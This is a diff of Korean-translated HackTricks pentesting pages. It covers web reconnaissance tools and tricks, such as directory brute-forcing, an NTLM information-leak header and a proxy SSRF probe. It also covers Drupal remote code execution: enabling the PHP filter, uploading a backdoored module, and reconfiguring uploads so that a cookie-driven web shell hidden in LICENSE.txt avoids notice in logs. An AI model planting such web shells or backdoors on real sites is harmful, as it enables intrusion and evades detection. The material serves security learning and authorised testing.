* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 필요한 모든 URL을 인쇄합니다.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상을 위한 엔드포인트를 발견하는 데 사용되는 도구입니다.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback 머신에서 링크를 발견합니다(응답을 다운로드하고 더 많은 링크를 찾습니다).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 크롤링(양식 작성 포함)하고 특정 정규 표현식을 사용하여 민감한 정보를 찾습니다.
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 양식 작성 및 특정 정규 표현식을 사용하여 민감한 정보를 찾습니다.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 JavaScript 소스 코드에서 기타 흥미로운 데이터를 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 기타 흥미로운 데이터를 자바스크립트 소스 코드에서 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge는 요청에서 매개변수와 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 단어 목록을 생성하는 간단한 **Burp Suite 확장**입니다.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 대한 멋진 도구입니다.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 인쇄합니다.
|
||||
|
||||
### 디렉토리 및 파일에 대한 무차별 대입
|
||||
|
||||
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든** **디렉토리**를 무차별 대입해야 하며, **스파이더링**에 의해 **발견된** 모든 디렉토리도 포함해야 합니다(이 무차별 대입을 **재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
|
||||
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든** **디렉토리**와 **스파이더링**에 의해 **발견된** 모든 디렉토리를 무차별 대입해야 합니다(이 무차별 대입을 **재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
|
||||
도구:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 기능적입니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
|
||||
* **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 기능이지만 작동합니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자동 서명된 인증서를 허용하지 않지만** 재귀 검색을 허용합니다.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 자동 서명된 인증서를 허용하며, **재귀** 검색이 **없습니다**.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르며, 재귀 검색을 지원합니다.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- 빠름: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): 스파이더는 아니지만 발견된 URL 목록을 주면 "중복된" URL을 삭제하는 도구입니다.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하는 Burp 확장입니다.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(기반 js 가져오기).
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): 이 도구는 스파이더는 아니지만 발견된 URL 목록을 주면 "중복된" URL을 삭제합니다.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하기 위한 Burp 확장입니다.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(자바스크립트 가져오기를 기반으로).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하기 위해 wapalyzer를 사용하고 사용할 단어 목록을 선택합니다.
|
||||
|
||||
**추천 사전:**
|
||||
|
@ -295,29 +295,29 @@ _무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견
|
|||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **주석:** 모든 파일의 주석을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다.
|
||||
* **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 있는 주석 안에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열어도 데이터를 볼 수 없도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 있는 주석에 **정보**를 **숨기는 것**입니다.
|
||||
* **API 키**: **API 키**를 찾으면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 찾으면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 접근할 수 있는 API를 확인할 수 있습니다.
|
||||
* **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열면 데이터를 볼 수 없도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 주석으로 **정보를 숨기는 것**입니다.
|
||||
* **API 키**: **API 키**를 발견하면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 발견하면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 접근할 수 있는 API를 확인할 수 있습니다.
|
||||
* **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우, [**버킷의 권한을 확인하십시오**](buckets/).
|
||||
|
||||
### 특별 발견
|
||||
|
||||
**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **것들**을 **주목**할 수 있습니다.
|
||||
**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **것들**을 **주목해야** 합니다.
|
||||
|
||||
**흥미로운 파일**
|
||||
|
||||
* **CSS** 파일 내의 다른 파일에 대한 **링크**를 찾습니다.
|
||||
* [**.git** 파일을 찾으면 일부 정보를 추출할 수 있습니다](git.md)
|
||||
* **.env**를 찾으면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다.
|
||||
* **API 엔드포인트**를 찾으면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼" 보일 것입니다.
|
||||
* **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링**하는 것도 흥미로울 것입니다. 경우에 따라 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
|
||||
* [**.git**_ 파일을 발견하면 일부 정보를 추출할 수 있습니다.](git.md)
|
||||
* **.env**를 발견하면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다.
|
||||
* **API 엔드포인트**를 발견하면 [**테스트해야 합니다**](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼 보일" 것입니다.
|
||||
* **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링하는 것이 흥미로울 것입니다**. 어떤 경우에는 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
|
||||
* 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인하여 취약한지 확인해야 합니다.
|
||||
* **Javascript Deobfuscator 및 Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck 디오브퍼케이션** (문자와 함께하는 자바스크립트: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* **자바스크립트 디오브스큐레이터 및 언패커:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **자바스크립트 뷰티파이어:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck 디오브스큐에이션** (문자와 함께 자바스크립트: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* 여러 경우에 **사용된 정규 표현식**을 이해해야 할 필요가 있습니다. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com)
|
||||
* **양식이 감지된 파일을 모니터링**해야 하며, 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
|
||||
* 여러 경우에 **사용된 정규 표현식을 이해해야** 할 필요가 있습니다. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com)
|
||||
* **양식이 감지된 파일을 모니터링**해야 합니다. 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
|
||||
|
||||
**403 금지/기본 인증/401 권한 없음 (우회)**
|
||||
|
||||
|
@ -327,21 +327,21 @@ _무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견
|
|||
|
||||
**502 프록시 오류**
|
||||
|
||||
어떤 페이지가 **코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 SSRF를 발견하게 됩니다.
|
||||
어떤 페이지가 **코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근하려고 시도**하며, 이로 인해 SSRF를 발견하게 됩니다.
|
||||
|
||||
**NTLM 인증 - 정보 공개**
|
||||
**NTLM 인증 - 정보 유출**
|
||||
|
||||
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 찾으면 **정보 공개**를 유도할 수 있습니다.\
|
||||
**헤더**를 전송하십시오: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에, 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
|
||||
이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 자동화할 수 있습니다.
|
||||
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 발견하면 **정보 유출**을 유발할 수 있습니다.\
|
||||
**헤더를 전송하십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
|
||||
이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 **자동화**할 수 있습니다.
|
||||
|
||||
**HTTP 리디렉션 (CTF)**
|
||||
|
||||
**리디렉션** 내에 **내용**을 **넣는** 것이 가능합니다. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하기 때문) 그러나 그 안에 **숨겨진** 것이 있을 수 있습니다.
|
||||
**리디렉션** 내에 **내용을 넣는** 것이 가능합니다. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하므로) 그러나 그 안에 **숨겨진** 것이 있을 수 있습니다.
|
||||
|
||||
### 웹 취약점 확인
|
||||
|
||||
웹 애플리케이션에 대한 포괄적인 열거가 수행되었으므로, 이제 가능한 많은 취약점을 확인할 시간입니다. 체크리스트는 여기에서 찾을 수 있습니다:
|
||||
웹 애플리케이션에 대한 포괄적인 열거가 수행되었으므로 이제 많은 가능한 취약점을 확인할 시간입니다. 체크리스트는 여기에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
@ -353,13 +353,13 @@ _무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견
|
|||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### 변경 사항 모니터링 페이지
|
||||
### 페이지 변경 모니터링
|
||||
|
||||
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용하여 취약점을 삽입할 수 있는 수정 사항을 모니터링할 수 있습니다.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 구사 필수_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구술 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -443,7 +443,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Drupal RCE
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -18,20 +18,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
## With PHP Filter Module
|
||||
|
||||
{% hint style="warning" %}
|
||||
이전 버전의 Drupal **(버전 8 이전)**에서는 관리자로 로그인하고 **`PHP filter` 모듈을 활성화**하는 것이 가능했습니다. 이 모듈은 "내장된 PHP 코드/스니펫을 평가할 수 있게 합니다." 그러나 버전 8부터 이 모듈은 기본적으로 설치되지 않습니다.
|
||||
이전 버전의 Drupal **(버전 8 이전)**에서는 관리자로 로그인하고 **`PHP filter` 모듈을 활성화**할 수 있었습니다. 이 모듈은 "내장된 PHP 코드/스니펫을 평가할 수 있게 합니다." 그러나 버전 8부터 이 모듈은 기본적으로 설치되지 않습니다.
|
||||
{% endhint %}
|
||||
|
||||
**php 플러그인이 설치되어 있어야 합니다** (_/modules/php_에 접근하여 **403**이 반환되면 **존재함**, **찾을 수 없으면** **php 플러그인이 설치되지 않음**)
|
||||
**php 플러그인이 설치되어야 합니다** (_/modules/php_에 접근하여 **403**이 반환되면 **존재함**, **찾을 수 없으면**, **php 플러그인이 설치되지 않음**)
|
||||
|
||||
_모듈_ -> (**확인**) _PHP Filter_ -> _구성 저장_
|
||||
_모듈_ -> (**확인**) _PHP 필터_ -> _구성 저장_으로 이동합니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (247) (1).png>)
|
||||
|
||||
그런 다음 _콘텐츠 추가_ -> _기본 페이지_ 또는 _기사_ 선택 -> _본문에 php 쉘코드 작성_ -> _텍스트 형식_에서 _PHP 코드_ 선택 -> _미리보기_ 선택
|
||||
그런 다음 _콘텐츠 추가_ 클릭 -> _기본 페이지_ 또는 _기사_ 선택 -> _본문에 php 쉘코드 작성_ -> _텍스트 형식_에서 _PHP 코드_ 선택 -> _미리보기_ 선택
|
||||
|
||||
![](<../../../.gitbook/assets/image (338).png>)
|
||||
|
||||
마지막으로 새로 생성된 노드에 접근하세요:
|
||||
마지막으로 새로 생성된 노드에 접근합니다:
|
||||
```bash
|
||||
curl http://drupal-site.local/node/3
|
||||
```
|
||||
|
@ -80,7 +80,7 @@ RewriteBase /
|
|||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* 웹사이트에 **관리자 접근** 권한이 있다고 가정하고, 사이드바에서 **`Manage`**를 클릭한 다음 **`Extend`**를 클릭합니다. 다음으로 **`+ Install new module`** 버튼을 클릭하면 `http://drupal-site.local/admin/modules/install`과 같은 설치 페이지로 이동합니다. 백도어가 있는 Captcha 아카이브로 이동하여 **`Install`**을 클릭합니다.
|
||||
* 웹사이트에 **관리자 접근** 권한이 있다고 가정할 때, 사이드바에서 **`Manage`**를 클릭한 다음 **`Extend`**를 클릭합니다. 다음으로 **`+ Install new module`** 버튼을 클릭하면 `http://drupal-site.local/admin/modules/install`과 같은 설치 페이지로 이동합니다. 백도어가 있는 Captcha 아카이브로 이동하여 **`Install`**을 클릭합니다.
|
||||
* 설치가 성공하면 **`/modules/captcha/shell.php`**로 이동하여 명령을 실행합니다.
|
||||
|
||||
## 구성 동기화를 통한 Drupal 백도어 <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
@ -89,17 +89,17 @@ tar cvf captcha.tar.gz captcha/
|
|||
|
||||
### 1부 (_Media_ 및 _Media Library_ 활성화)
|
||||
|
||||
_Extend_ 메뉴 (/admin/modules)에서 이미 설치된 플러그인으로 보이는 항목을 활성화할 수 있습니다. 기본적으로 플러그인 _Media_ 및 _Media Library_는 활성화되지 않은 상태이므로 활성화하겠습니다.
|
||||
_Extend_ 메뉴 (/admin/modules)에서 이미 설치된 플러그인으로 보이는 항목을 활성화할 수 있습니다. 기본적으로 플러그인 _Media_ 및 _Media Library_는 활성화되지 않은 상태이므로 이를 활성화하겠습니다.
|
||||
|
||||
활성화 전:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
활성화 후:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 2부 (_Configuration synchronization_ 기능 활용) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
|
@ -122,9 +122,9 @@ allow_insecure_uploads: false
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
다음으로:
|
||||
다음:
|
||||
|
||||
파일: system.file.yml
|
||||
```
|
||||
|
@ -136,11 +136,11 @@ allow_insecure_uploads: true
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Patch field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
그런 다음, 두 번째 항목 `file_extensions`를 다음과 같이 패치합니다:
|
||||
그런 다음, 두 번째 항목 `file_extensions`를 다음에서 패치합니다:
|
||||
|
||||
File: field.field.media.document.field\_media\_document.yml
|
||||
```
|
||||
|
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
|
|||
|
||||
...
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
다음으로:
|
||||
|
||||
|
@ -166,13 +166,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
...
|
||||
|
||||
```
|
||||
> 이 블로그 포스트에서는 사용하지 않지만, `file_directory` 항목을 임의로 정의할 수 있으며 경로 탐색 공격에 취약하다는 점이 주목됩니다 (따라서 Drupal 파일 시스템 트리 내에서 위로 올라갈 수 있습니다).
|
||||
> 이 블로그 포스트에서는 사용하지 않지만, `file_directory` 항목을 임의로 정의할 수 있으며, 경로 탐색 공격에 취약하다는 점이 주목됩니다 (따라서 Drupal 파일 시스템 트리 내에서 위로 올라갈 수 있습니다).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Part 3 (기능 _문서 추가_ 활용하기) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
### Part 3 (기능 _문서 추가_ 활용) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
마지막 단계는 가장 간단하며 두 개의 하위 단계로 나뉩니다. 첫 번째는 .htaccess 형식의 파일을 업로드하여 Apache 지시어를 활용하고 .txt 파일이 PHP 엔진에 의해 해석되도록 허용하는 것입니다. 두 번째는 우리의 페이로드를 포함하는 .txt 파일을 업로드하는 것입니다.
|
||||
마지막 단계는 가장 간단하며, 두 개의 하위 단계로 나뉩니다. 첫 번째는 .htaccess 형식의 파일을 업로드하여 Apache 지시어를 활용하고 .txt 파일이 PHP 엔진에 의해 해석되도록 허용하는 것입니다. 두 번째는 우리의 페이로드를 포함하는 .txt 파일을 업로드하는 것입니다.
|
||||
|
||||
File: .htaccess
|
||||
```
|
||||
|
@ -194,13 +194,13 @@ php_flag engine on
|
|||
```
|
||||
왜 이 트릭이 멋진가요?
|
||||
|
||||
웹 셸(우리는 이를 LICENSE.txt라고 부릅니다.)이 웹 서버에 배포되면, `$_COOKIE`를 통해 명령을 전송할 수 있으며, 웹 서버 로그에는 텍스트 파일에 대한 정당한 GET 요청으로 나타납니다.
|
||||
웹 셸(우리가 LICENSE.txt라고 부를 것)이 웹 서버에 배포되면, `$_COOKIE`를 통해 명령을 전송할 수 있으며, 웹 서버 로그에는 텍스트 파일에 대한 정당한 GET 요청으로 나타납니다.
|
||||
|
||||
왜 우리의 웹 셸을 LICENSE.txt라고 이름 짓나요?
|
||||
|
||||
단순히 Drupal 코어에 이미 존재하는 다음 파일, 예를 들어 [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)를 사용하면, 339줄과 17.6 KB 크기의 파일이 있어 중간에 작은 PHP 코드 조각을 추가하기에 완벽합니다(파일이 충분히 크기 때문에).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
파일: 패치된 LICENSE.txt
|
||||
```txt
|
||||
|
@ -233,45 +233,45 @@ programs whose distribution conditions are different, write to the author
|
|||
```
|
||||
#### **Part 3.1 (upload file .htaccess)**
|
||||
|
||||
먼저, 우리는 _Add Document_ (/media/add/document) 기능을 활용하여 Apache 지시어가 포함된 파일(.htaccess)을 업로드합니다.
|
||||
먼저, _Add Document_ (/media/add/document) 기능을 활용하여 Apache 지시어가 포함된 파일(.htaccess)을 업로드합니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||
